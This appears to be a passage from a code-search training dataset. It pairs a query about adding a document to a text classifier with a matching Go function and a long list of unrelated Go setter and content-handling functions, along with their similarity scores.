\"\\n\")\n\tfor i := range data {\n\t\td.AddText(x, y, data[i])\n\t\ty += d.DefaultLineHeight()\n\t}\n\td.DefaultFontSize()\n\td.DefaultFontStyle()\n}","func (s *UpdatePolicyInput) SetContent(v string) *UpdatePolicyInput {\n\ts.Content = &v\n\treturn s\n}","func ContentContainsFold(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.ContainsFold(s.C(FieldContent), v))\n\t})\n}","func (s *UtteranceBotResponse) SetContent(v string) *UtteranceBotResponse {\n\ts.Content = &v\n\treturn s\n}","func (s *PutResourcePolicyInput) SetContent(v string) *PutResourcePolicyInput {\n\ts.Content = &v\n\treturn s\n}","func (s *UiTemplate) SetContent(v string) *UiTemplate {\n\ts.Content = &v\n\treturn s\n}","func (o *SimpleStringWeb) HasContent() bool {\n\tif o != nil && o.Content != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}","func (editor *Editor) SetContent(html string, index int) {\n\teditor.inst.Call(\"setContent\", html, index)\n}","func (s *CreatePolicyInput) SetContent(v string) *CreatePolicyInput {\n\ts.Content = &v\n\treturn s\n}"],"string":"[\n \"func AddContent(ignitionConfig *igntypes.Config, content []byte, dst string, mode *int) {\\n\\tcontentBase64 := base64.StdEncoding.EncodeToString(content)\\n\\tignitionConfig.Storage.Files = append(ignitionConfig.Storage.Files, igntypes.File{\\n\\t\\tNode: igntypes.Node{\\n\\t\\t\\tPath: dst,\\n\\t\\t},\\n\\t\\tFileEmbedded1: igntypes.FileEmbedded1{\\n\\t\\t\\tContents: igntypes.Resource{\\n\\t\\t\\t\\tSource: pointer.StringPtr(fmt.Sprintf(\\\"%s,%s\\\", defaultIgnitionContentSource, contentBase64)),\\n\\t\\t\\t},\\n\\t\\t\\tMode: mode,\\n\\t\\t},\\n\\t})\\n}\",\n \"func (mime *MIMEMessage)addContent(content string) {\\n\\tmime.container.WriteString(fmt.Sprintf(\\\"--%s\\\\r\\\\n\\\", mime.boundary))\\n\\tmime.container.WriteString(\\\"Content-Type: text/plain; charset=UTF-8\\\\r\\\\n\\\")\\n\\tmime.container.WriteString(content)\\n}\",\n \"func (p *ParseData) SetContent(c string) {\\n\\tp.content = c\\n}\",\n \"func (ct *ContentTypes) RegisterContent(fileName string, contentType ml.ContentType) {\\n\\tif fileName[0] != '/' {\\n\\t\\tfileName = \\\"/\\\" + fileName\\n\\t}\\n\\n\\tct.ml.Overrides = append(ct.ml.Overrides, &ml.TypeOverride{\\n\\t\\tPartName: fileName,\\n\\t\\tContentType: contentType,\\n\\t})\\n\\n\\tct.file.MarkAsUpdated()\\n}\",\n \"func ContentContains(v string) predicate.Post {\\n\\treturn predicate.Post(func(s *sql.Selector) {\\n\\t\\ts.Where(sql.Contains(s.C(FieldContent), v))\\n\\t})\\n}\",\n \"func (m *Model) SetContent(content string) {\\n\\tm.Content = content\\n}\",\n \"func (m *Model) SetContent(content string) {\\n\\tm.Content = content\\n}\",\n \"func (a *AcceptMessage) WithContent(content string) *AcceptMessage {\\n\\ta.Embed = &discordgo.MessageEmbed{\\n\\t\\tColor: components.EmbedColorDefault,\\n\\t\\tDescription: content,\\n\\t}\\n\\treturn a\\n}\",\n \"func NewContent(chainContent *ChainContent, sequence int) *Content {\\n\\treturn &Content{\\n\\t\\tLabel: chainContent.Label,\\n\\t\\tType: fmt.Sprintf(\\\"%v\\\", chainContent.Value[0]),\\n\\t\\tValue: fmt.Sprintf(\\\"%v\\\", chainContent.Value[1]),\\n\\t\\tContentSequence: sequence,\\n\\t\\tDType: []string{\\\"Content\\\"},\\n\\t}\\n}\",\n \"func (d *Doc) AddMultilineText(x, y float64, content string) {\\n\\tdata := strings.Split(content, \\\"\\\\n\\\")\\n\\tfor i := range data {\\n\\t\\td.AddText(x, y, data[i])\\n\\t\\ty += d.DefaultLineHeight()\\n\\t}\\n}\",\n \"func (d *Doc) AddText(x, y float64, content string) error {\\n\\td.SetPosition(x, y)\\n\\tif err := d.GoPdf.Cell(nil, content); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error adding text to PDF: %s\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (app *builder) WithContent(content Content) Builder {\\n\\tapp.content = content\\n\\treturn app\\n}\",\n \"func (e *Element) SetContent(content []byte) {\\n\\tif len(e.children) > 0 {\\n\\t\\treturn\\n\\t}\\n\\te.content = content\\n}\",\n \"func (c *genericCatch) appendContent(content interface{}, pos Position) {\\n\\tswitch v := content.(type) {\\n\\tcase string:\\n\\t\\tc.appendString(v, pos)\\n\\tcase []posContent:\\n\\t\\tc.appendContents(v)\\n\\tcase []interface{}:\\n\\t\\tfor _, item := range v {\\n\\t\\t\\tc.appendContent(item, pos)\\n\\t\\t}\\n\\tcase posContent:\\n\\t\\tc.appendContent(v.content, v.pos)\\n\\tdefault:\\n\\t\\tc.pushContent(v, pos)\\n\\t}\\n}\",\n \"func (u *GithubGistUpsertBulk) SetContent(v string) *GithubGistUpsertBulk {\\n\\treturn u.Update(func(s *GithubGistUpsert) {\\n\\t\\ts.SetContent(v)\\n\\t})\\n}\",\n \"func (o *ResourceIdTagsJsonTags) SetContent(v string) {\\n\\to.Content = &v\\n}\",\n \"func (u *GithubGistUpsert) SetContent(v string) *GithubGistUpsert {\\n\\tu.Set(githubgist.FieldContent, v)\\n\\treturn u\\n}\",\n \"func NewContent(name string) *Content {\\n\\tthis := Content{}\\n\\tvar accessType string = \\\"acl\\\"\\n\\tthis.AccessType = &accessType\\n\\tvar runAsCurrentUser bool = false\\n\\tthis.RunAsCurrentUser = &runAsCurrentUser\\n\\tthis.Name = name\\n\\treturn &this\\n}\",\n \"func (f *File) SetContent(content []byte) {\\n\\tf.content = content\\n}\",\n \"func (ggc *GithubGistCreate) SetContent(s string) *GithubGistCreate {\\n\\tggc.mutation.SetContent(s)\\n\\treturn ggc\\n}\",\n \"func (o *SimpleStringWeb) SetContent(v string) {\\n\\to.Content = &v\\n}\",\n \"func (u *GithubGistUpsertOne) SetContent(v string) *GithubGistUpsertOne {\\n\\treturn u.Update(func(s *GithubGistUpsert) {\\n\\t\\ts.SetContent(v)\\n\\t})\\n}\",\n \"func (label *LabelWidget) SetContent(content string) {\\n\\tlabel.content = content\\n\\tlabel.needsRepaint = true\\n}\",\n \"func (ac *ArticleCreate) SetContent(s string) *ArticleCreate {\\n\\tac.mutation.SetContent(s)\\n\\treturn ac\\n}\",\n \"func (cfc *CustomerFollowCreate) SetContent(s string) *CustomerFollowCreate {\\n\\tcfc.mutation.SetContent(s)\\n\\treturn cfc\\n}\",\n \"func (self *CommitMessagePanelDriver) Content(expected *TextMatcher) *CommitMessagePanelDriver {\\n\\tself.getViewDriver().Content(expected)\\n\\n\\treturn self\\n}\",\n \"func (o *PollersPostParams) SetContent(content *models.Poller20PartialPoller) {\\n\\to.Content = content\\n}\",\n \"func (o *JsonEnvironment) SetContent(v []string) {\\n\\to.Content = &v\\n}\",\n \"func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\\n\\tdefer debugTime()()\\n\\tcontentHash, err := d.shell.Add(bytes.NewReader(contents))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// strip off leading slash\\n\\tpath = path[1:]\\n\\n\\td.rootlock.Lock()\\n\\tdefer d.rootlock.Unlock()\\n\\tnroot, err := d.shell.PatchLink(d.roothash, path, contentHash, true)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\td.roothash = nroot\\n\\td.publishHash(nroot)\\n\\treturn nil\\n}\",\n \"func (ec *ExperienceCreate) SetContent(s string) *ExperienceCreate {\\n\\tec.mutation.SetContent(s)\\n\\treturn ec\\n}\",\n \"func (s *Vocabulary) SetContent(v string) *Vocabulary {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *ModelCard) SetContent(v string) *ModelCard {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *UpdateModelCardInput) SetContent(v string) *UpdateModelCardInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *LabelingJobDataAttributes) SetContentClassifiers(v []*string) *LabelingJobDataAttributes {\\n\\ts.ContentClassifiers = v\\n\\treturn s\\n}\",\n \"func (t *TextUpdateSystem) Add(text *Text) {\\n\\tt.entities = append(t.entities, textEntity{text})\\n}\",\n \"func (m *WorkbookCommentReply) SetContent(value *string)() {\\n m.content = value\\n}\",\n \"func (o *GetMessagesAllOf) SetMatchContent(v string) {\\n\\to.MatchContent = &v\\n}\",\n \"func (ac *AnswerCreate) SetContent(s string) *AnswerCreate {\\n\\tac.mutation.SetContent(s)\\n\\treturn ac\\n}\",\n \"func (o *FileDto) SetContent(v []string) {\\n\\to.Content = &v\\n}\",\n \"func Content(v string) predicate.Post {\\n\\treturn predicate.Post(func(s *sql.Selector) {\\n\\t\\ts.Where(sql.EQ(s.C(FieldContent), v))\\n\\t})\\n}\",\n \"func (t Template) ProcessContent(content, source string) (string, error) {\\n\\treturn t.processContentInternal(content, source, nil, 0)\\n}\",\n \"func NewContent(path string) *Content {\\n\\ttpl, err := template.ParseFiles(path)\\n\\tif err != nil {\\n\\t\\tlog.WithField(\\\"Template\\\", path).WithError(err).Fatalf(\\\"Unable to process template\\\")\\n\\t}\\n\\treturn &Content{\\n\\t\\ttpl: tpl,\\n\\t}\\n}\",\n \"func (d *DiscordWebhook) SetContent(content string) {\\n\\td.Content = content\\n}\",\n \"func (d *KrakenStorageDriver) PutContent(ctx context.Context, path string, content []byte) error {\\n\\tlog.Debugf(\\\"(*KrakenStorageDriver).PutContent %s\\\", path)\\n\\tpathType, pathSubType, err := ParsePath(path)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tswitch pathType {\\n\\tcase _manifests:\\n\\t\\terr = d.manifests.putContent(path, pathSubType)\\n\\tcase _uploads:\\n\\t\\terr = d.uploads.putContent(path, pathSubType, content)\\n\\tcase _layers:\\n\\t\\t// noop\\n\\t\\treturn nil\\n\\tcase _blobs:\\n\\t\\terr = d.uploads.putBlobContent(path, content)\\n\\tdefault:\\n\\t\\treturn InvalidRequestError{path}\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn toDriverError(err, path)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *CreateModelCardInput) SetContent(v string) *CreateModelCardInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (r *regulator) PutContent(ctx context.Context, path string, content []byte) error {\\n\\tr.enter()\\n\\tdefer r.exit()\\n\\n\\treturn r.StorageDriver.PutContent(ctx, path, content)\\n}\",\n \"func (s *Script) AddText(text string) {\\n\\tif text > \\\"\\\" {\\n\\t\\t//s.SetText(html.EscapeString(text))\\n\\t\\ts.SetText(text)\\n\\t}\\n}\",\n \"func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\\n\\tau.mutation.SetContent(s)\\n\\treturn au\\n}\",\n \"func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\\n\\tau.mutation.SetContent(s)\\n\\treturn au\\n}\",\n \"func (blk *Block) addContentsByString(contents string) error {\\n\\tcc := contentstream.NewContentStreamParser(contents)\\n\\toperations, err := cc.Parse()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tblk.contents.WrapIfNeeded()\\n\\toperations.WrapIfNeeded()\\n\\t*blk.contents = append(*blk.contents, *operations...)\\n\\n\\treturn nil\\n}\",\n \"func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\\n\\t_, err := d.Client.PutObject(&obs.PutObjectInput{\\n\\t\\tPutObjectBasicInput: obs.PutObjectBasicInput{\\n\\t\\t\\tObjectOperationInput: obs.ObjectOperationInput{\\n\\t\\t\\t\\tBucket: d.Bucket,\\n\\t\\t\\t\\tKey: d.obsPath(path),\\n\\t\\t\\t\\tACL: d.getACL(),\\n\\t\\t\\t\\tStorageClass: d.getStorageClass(),\\n\\t\\t\\t\\t//SseHeader: obs.SseKmsHeader{Encryption: obs.DEFAULT_SSE_KMS_ENCRYPTION},\\n\\t\\t\\t},\\n\\t\\t\\tContentType: d.getContentType(),\\n\\t\\t},\\n\\t\\tBody: bytes.NewReader(contents),\\n\\t})\\n\\treturn parseError(path, err)\\n}\",\n \"func (o *Comment) SetContent(v string) {\\n\\to.Content = &v\\n}\",\n \"func NewContent(scope, content map[string]interface{}) (*ClaimContent, string, error) {\\n\\tcc := &ClaimContent{\\n\\t\\tScope: scope,\\n\\t\\tContents: content,\\n\\t}\\n\\treturn cc, cc.ID(), cc.Set()\\n}\",\n \"func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\\n\\tauo.mutation.SetContent(s)\\n\\treturn auo\\n}\",\n \"func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\\n\\tauo.mutation.SetContent(s)\\n\\treturn auo\\n}\",\n \"func (pu *PostUpdate) SetContent(s string) *PostUpdate {\\n\\tpu.mutation.SetContent(s)\\n\\treturn pu\\n}\",\n \"func (pu *PostUpdate) SetContent(s string) *PostUpdate {\\n\\tpu.mutation.SetContent(s)\\n\\treturn pu\\n}\",\n \"func (r *AlibabaSecurityJaqRpCloudRphitAPIRequest) SetContent(_content string) error {\\n\\tr._content = _content\\n\\tr.Set(\\\"content\\\", _content)\\n\\treturn nil\\n}\",\n \"func (o *MicrosoftGraphWorkbookComment) SetContent(v string) {\\n\\to.Content = &v\\n}\",\n \"func (s *DescribeModelCardOutput) SetContent(v string) *DescribeModelCardOutput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func Add(file string, content []byte) {\\n\\tblob.Add(file, content)\\n}\",\n \"func AddTarContent(a *Archive, file io.Reader, to string) (int, error) {\\n\\treader := tar.NewReader(file)\\n\\tcount := 0\\n\\tfor {\\n\\t\\thdr, err := reader.Next()\\n\\t\\tif err != nil {\\n\\t\\t\\tif err == io.EOF {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn count, err\\n\\t\\t}\\n\\n\\t\\tswitch hdr.Typeflag {\\n\\t\\tcase tar.TypeRegA, tar.TypeReg:\\n\\t\\t\\tif err := readFileFromTar(a, reader, hdr, to); err != nil {\\n\\t\\t\\t\\treturn count, err\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount++\\n\\t\\t}\\n\\t}\\n\\n\\treturn count, nil\\n}\",\n \"func (s *CreateVocabularyInput) SetContent(v string) *CreateVocabularyInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *ChatMessage) SetContent(v string) *ChatMessage {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func NewContent(\\n\\tinitialContent lease.ReadProxy,\\n\\tclock timeutil.Clock) (mc Content) {\\n\\tmc = &mutableContent{\\n\\t\\tclock: clock,\\n\\t\\tinitialContent: initialContent,\\n\\t\\tdirtyThreshold: initialContent.Size(),\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (s *ContactFlow) SetContent(v string) *ContactFlow {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (r *mutationResolver) CreateContent(ctx context.Context, input *models.CreateContentInput) (*content.Content, error) {\\n\\tpanic(\\\"not implemented\\\")\\n}\",\n \"func (s *Policy) SetContent(v string) *Policy {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (upu *UnsavedPostUpdate) SetContent(s string) *UnsavedPostUpdate {\\n\\tupu.mutation.SetContent(s)\\n\\treturn upu\\n}\",\n \"func (form *Form) AddText(text Text) {\\n\\tform.texts = append(form.texts, text)\\n}\",\n \"func (s *ResourcePolicy) SetContent(v string) *ResourcePolicy {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *UpdateContactFlowContentInput) SetContent(v string) *UpdateContactFlowContentInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (d *Doc) AddWrapText(x1, y, x2 float64, content string) {\\n\\twidth := x2 - x1\\n\\tchars := []rune(content)\\n\\tlines := 0.0\\n\\tvar i, j int\\n\\tfor j = 0; j < len(chars); j++ {\\n\\t\\tl, _ := d.GoPdf.MeasureTextWidth(string(chars[i:j]))\\n\\t\\tif l >= width {\\n\\t\\t\\td.AddText(x1, y+d.LineHeight(d.defaultFontSize)*lines, string(chars[i:j-1]))\\n\\t\\t\\ti = j - 1\\n\\t\\t\\tlines++\\n\\t\\t}\\n\\t}\\n\\t// fmt.Println(string(chars[]))\\n}\",\n \"func (s *UpdateContactFlowModuleContentInput) SetContent(v string) *UpdateContactFlowModuleContentInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (upuo *UnsavedPostUpdateOne) SetContent(s string) *UnsavedPostUpdateOne {\\n\\tupuo.mutation.SetContent(s)\\n\\treturn upuo\\n}\",\n \"func NewContent(address common.Address, backend bind.ContractBackend) (*Content, error) {\\n\\tcontract, err := bindContent(address, backend, backend, backend)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &Content{ContentCaller: ContentCaller{contract: contract}, ContentTransactor: ContentTransactor{contract: contract}, ContentFilterer: ContentFilterer{contract: contract}}, nil\\n}\",\n \"func (m *ChatMessageAttachment) SetContent(value *string)() {\\n err := m.GetBackingStore().Set(\\\"content\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\\n\\tpuo.mutation.SetContent(s)\\n\\treturn puo\\n}\",\n \"func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\\n\\tpuo.mutation.SetContent(s)\\n\\treturn puo\\n}\",\n \"func ParseContent(text []byte) (*Appcast, error) {\\n\\tvar appcast = New()\\n\\terr := xml.Unmarshal(text, appcast)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn appcast, nil\\n}\",\n \"func (m *MsgSubmitProposal) SetContent(content Content) error {\\n\\tmsg, ok := content.(proto.Message)\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"can't proto marshal %T\\\", msg)\\n\\t}\\n\\tany, err := codectypes.NewAnyWithValue(msg)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tm.Content = any\\n\\treturn nil\\n}\",\n \"func (_BaseContentSpace *BaseContentSpaceTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\\n\\treturn _BaseContentSpace.contract.Transact(opts, \\\"addContentType\\\", content_type, content_contract)\\n}\",\n \"func (this *SIPMessage) SetContent(content interface{}, contentTypeHeader header.ContentTypeHeader) { //throws ParseException {\\n\\t//if content == nil) throw new NullPointerException(\\\"nil content\\\");\\n\\tthis.SetHeader(contentTypeHeader)\\n\\tlength := -1\\n\\tif s, ok := content.(string); ok {\\n\\t\\tthis.messageContent = s\\n\\t\\tlength = len(s)\\n\\t} else if b, ok := content.([]byte); ok {\\n\\t\\tthis.messageContentBytes = b\\n\\t\\tlength = len(b)\\n\\t} else {\\n\\t\\tpanic(\\\"Don't support GenericObject\\\")\\n\\t\\t//this.messageContentObject = content\\n\\t\\t//length = len(content.(core.GenericObject).String())\\n\\t}\\n\\n\\t//try {\\n\\n\\t// if (content instanceof String )\\n\\t// length = ((String)content).length();\\n\\t// else if (content instanceof byte[])\\n\\t// length = ((byte[])content).length;\\n\\t// else\\n\\t// length = content.toString().length();\\n\\n\\tif length != -1 {\\n\\t\\tthis.contentLengthHeader.SetContentLength(length)\\n\\t}\\n\\t// } catch (InvalidArgumentException ex) {}\\n\\n}\",\n \"func (s *ContactFlowModule) SetContent(v string) *ContactFlowModule {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *CreateContactFlowInput) SetContent(v string) *CreateContactFlowInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func LookupContent(ctx *pulumi.Context, args *LookupContentArgs, opts ...pulumi.InvokeOption) (*LookupContentResult, error) {\\n\\topts = internal.PkgInvokeDefaultOpts(opts)\\n\\tvar rv LookupContentResult\\n\\terr := ctx.Invoke(\\\"google-native:dataplex/v1:getContent\\\", args, &rv, opts...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &rv, nil\\n}\",\n \"func (o *DriveItemVersion) SetContent(v string) {\\n\\to.Content = &v\\n}\",\n \"func (_BaseLibrary *BaseLibraryTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\\n\\treturn _BaseLibrary.contract.Transact(opts, \\\"addContentType\\\", content_type, content_contract)\\n}\",\n \"func (s *NotebookInstanceLifecycleHook) SetContent(v string) *NotebookInstanceLifecycleHook {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *CreateContactFlowModuleInput) SetContent(v string) *CreateContactFlowModuleInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (c *Sender) EmitContent(s string) {\\n\\tc.content = s\\n}\",\n \"func (d *Doc) AddFormattedMultilineText(x, y float64, content string, size int, style string) {\\n\\td.SetFontSize(size)\\n\\td.SetFontStyle(style)\\n\\tdata := strings.Split(content, \\\"\\\\n\\\")\\n\\tfor i := range data {\\n\\t\\td.AddText(x, y, data[i])\\n\\t\\ty += d.DefaultLineHeight()\\n\\t}\\n\\td.DefaultFontSize()\\n\\td.DefaultFontStyle()\\n}\",\n \"func (s *UpdatePolicyInput) SetContent(v string) *UpdatePolicyInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func ContentContainsFold(v string) predicate.Post {\\n\\treturn predicate.Post(func(s *sql.Selector) {\\n\\t\\ts.Where(sql.ContainsFold(s.C(FieldContent), v))\\n\\t})\\n}\",\n \"func (s *UtteranceBotResponse) SetContent(v string) *UtteranceBotResponse {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *PutResourcePolicyInput) SetContent(v string) *PutResourcePolicyInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (s *UiTemplate) SetContent(v string) *UiTemplate {\\n\\ts.Content = &v\\n\\treturn s\\n}\",\n \"func (o *SimpleStringWeb) HasContent() bool {\\n\\tif o != nil && o.Content != nil {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func (editor *Editor) SetContent(html string, index int) {\\n\\teditor.inst.Call(\\\"setContent\\\", html, index)\\n}\",\n \"func (s *CreatePolicyInput) SetContent(v string) *CreatePolicyInput {\\n\\ts.Content = &v\\n\\treturn s\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.62289685","0.5492262","0.5414128","0.53713363","0.53075594","0.52754915","0.52754915","0.5242286","0.52243036","0.52184814","0.521659","0.52130044","0.5194028","0.51517546","0.5095292","0.50909185","0.50806564","0.50798374","0.507221","0.505811","0.50153166","0.50104475","0.49945822","0.49522477","0.49444008","0.49368745","0.49186692","0.4915707","0.48994523","0.48876548","0.48867884","0.48816127","0.48750994","0.48610574","0.48604476","0.4851551","0.48489514","0.4844925","0.4844796","0.484468","0.48392367","0.48370793","0.48357943","0.48213017","0.4819932","0.48154545","0.48059613","0.47999254","0.47999254","0.47929573","0.47860274","0.47795004","0.47769004","0.47765905","0.47765905","0.4773581","0.4773581","0.47715724","0.47699147","0.4737014","0.47300488","0.47181135","0.47044384","0.4700733","0.4700571","0.46976915","0.4695766","0.4691165","0.46866614","0.46685123","0.46596152","0.46538407","0.4650944","0.46271005","0.46264365","0.46258074","0.46115753","0.46068263","0.46068263","0.4604805","0.46007338","0.45919815","0.45883518","0.45874313","0.45852146","0.4583838","0.45638824","0.4561636","0.45601383","0.45563465","0.4552442","0.45444238","0.45381898","0.45361686","0.45356956","0.4535253","0.4524623","0.45098943","0.45096275","0.45094004"],"string":"[\n \"0.62289685\",\n \"0.5492262\",\n \"0.5414128\",\n \"0.53713363\",\n \"0.53075594\",\n \"0.52754915\",\n \"0.52754915\",\n \"0.5242286\",\n \"0.52243036\",\n \"0.52184814\",\n \"0.521659\",\n \"0.52130044\",\n \"0.5194028\",\n \"0.51517546\",\n \"0.5095292\",\n \"0.50909185\",\n \"0.50806564\",\n \"0.50798374\",\n \"0.507221\",\n \"0.505811\",\n \"0.50153166\",\n \"0.50104475\",\n \"0.49945822\",\n \"0.49522477\",\n \"0.49444008\",\n \"0.49368745\",\n \"0.49186692\",\n \"0.4915707\",\n \"0.48994523\",\n \"0.48876548\",\n \"0.48867884\",\n \"0.48816127\",\n \"0.48750994\",\n \"0.48610574\",\n \"0.48604476\",\n \"0.4851551\",\n \"0.48489514\",\n \"0.4844925\",\n \"0.4844796\",\n \"0.484468\",\n \"0.48392367\",\n \"0.48370793\",\n \"0.48357943\",\n \"0.48213017\",\n \"0.4819932\",\n \"0.48154545\",\n \"0.48059613\",\n \"0.47999254\",\n \"0.47999254\",\n \"0.47929573\",\n \"0.47860274\",\n \"0.47795004\",\n \"0.47769004\",\n \"0.47765905\",\n \"0.47765905\",\n \"0.4773581\",\n \"0.4773581\",\n \"0.47715724\",\n \"0.47699147\",\n \"0.4737014\",\n \"0.47300488\",\n \"0.47181135\",\n \"0.47044384\",\n \"0.4700733\",\n \"0.4700571\",\n \"0.46976915\",\n \"0.4695766\",\n \"0.4691165\",\n \"0.46866614\",\n \"0.46685123\",\n \"0.46596152\",\n \"0.46538407\",\n \"0.4650944\",\n \"0.46271005\",\n \"0.46264365\",\n \"0.46258074\",\n \"0.46115753\",\n \"0.46068263\",\n \"0.46068263\",\n \"0.4604805\",\n \"0.46007338\",\n \"0.45919815\",\n \"0.45883518\",\n \"0.45874313\",\n \"0.45852146\",\n \"0.4583838\",\n \"0.45638824\",\n \"0.4561636\",\n \"0.45601383\",\n \"0.45563465\",\n \"0.4552442\",\n \"0.45444238\",\n \"0.45381898\",\n \"0.45361686\",\n \"0.45356956\",\n \"0.4535253\",\n \"0.4524623\",\n \"0.45098943\",\n \"0.45096275\",\n \"0.45094004\"\n]"},"document_score":{"kind":"string","value":"0.80562246"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106192,"cells":{"query":{"kind":"string","value":"addDocument takes a textual document and incorporates it into the classifier for matching."},"document":{"kind":"string","value":"func (c *Classifier) addDocument(name string, doc *document) {\n\t// For documents that are part of the corpus, we add them to the dictionary and\n\t// compute their associated search data eagerly so they are ready for matching against\n\t// candidates.\n\tid := c.generateIndexedDocument(doc, true)\n\tid.generateFrequencies()\n\tid.generateSearchSet(c.q)\n\tid.s.origin = name\n\tc.docs[name] = id\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\n\n\tcd := \"clientdocuments_\" + clientId\n\n\tsi, err := solr.NewSolrInterface(solrUrl, cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar englishEntities, entities []string\n\tfor _, entity := range entitiesFound {\n\t\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\n\t\tentities = append(entities, entity.UrlPageTitle)\n\t}\n\n\tvar documents []solr.Document\n\tclientDocument := make(solr.Document)\n\tclientDocument.Set(\"documentID\", doc.ClientDocumentShort.DocumentID)\n\tclientDocument.Set(\"documentTitle\", doc.DocumentTitle)\n\tclientDocument.Set(\"document\", doc.Document)\n\tclientDocument.Set(\"languageCode\", doc.LanguageCode)\n\tclientDocument.Set(\"createdAt\", doc.CreatedAt)\n\tclientDocument.Set(\"sentiment\", doc.Sentiment)\n\tclientDocument.Set(\"themes\", themes)\n\tclientDocument.Set(\"entities\", entities)\n\tclientDocument.Set(\"englishEntities\", englishEntities)\n\tdocuments = append(documents, clientDocument)\n\n\t_, err = si.Add(documents, 1, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while adding document to Solr. No such core exists\")\n\t}\n\n\terr = Reload(cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func DocumentAdd(docs []Document) {\n\tlen := len(documents)\n\tfor i := range docs {\n\t\tdocs[i].SetID(uint64(len + i))\n\t\tdocuments = append(documents, docs[i])\n\t}\n\n\tindexDocuments.add(docs)\n}","func process(document string) {\n\tfmt.Printf(\"\\n> %v\\n\\n\", document)\n\t// the sanitized document\n\tdoc := san.GetDocument(document)\n\tif len(doc) < 1 {\n\t\treturn\n\t}\n\n\t// classification of this document\n\t//fmt.Printf(\"---> %s\\n\", doc)\n\tscores, inx, _ := clssfier.ProbScores(doc)\n\tlogScores, logInx, _ := clssfier.LogScores(doc)\n\tclass := clssfier.Classes[inx]\n\tlogClass := clssfier.Classes[logInx]\n\n\t// the rate of positive sentiment\n\tposrate := float64(count[0]) / float64(count[0]+count[1])\n\tlearned := \"\"\n\n\t// if above the threshold, then learn\n\t// this document\n\tif scores[inx] > *thresh {\n\t\tclssfier.Learn(doc, class)\n\t\tlearned = \"***\"\n\t}\n\n\t// print info\n\tprettyPrintDoc(doc)\n\tfmt.Printf(\"%7.5f %v %v\\n\", scores[inx], class, learned)\n\tfmt.Printf(\"%7.2f %v\\n\", logScores[logInx], logClass)\n\tif logClass != class {\n\t\t// incorrect classification due to underflow\n\t\tfmt.Println(\"CLASSIFICATION ERROR!\")\n\t}\n\tfmt.Printf(\"%7.5f (posrate)\\n\", posrate)\n\t//fmt.Printf(\"%5.5f (high-probability posrate)\\n\", highrate)\n}","func (a *attachUp) AddDoc(p, n string) AttachmentUploader {\n\ta.d = append(a.d, p)\n\tif n == \"\" {\n\t\tn = filepath.Base(p)\n\t}\n\ta.dn = append(a.dn, n)\n\treturn a\n}","func (c *Classifier) AddContent(name string, content []byte) {\n\tdoc := 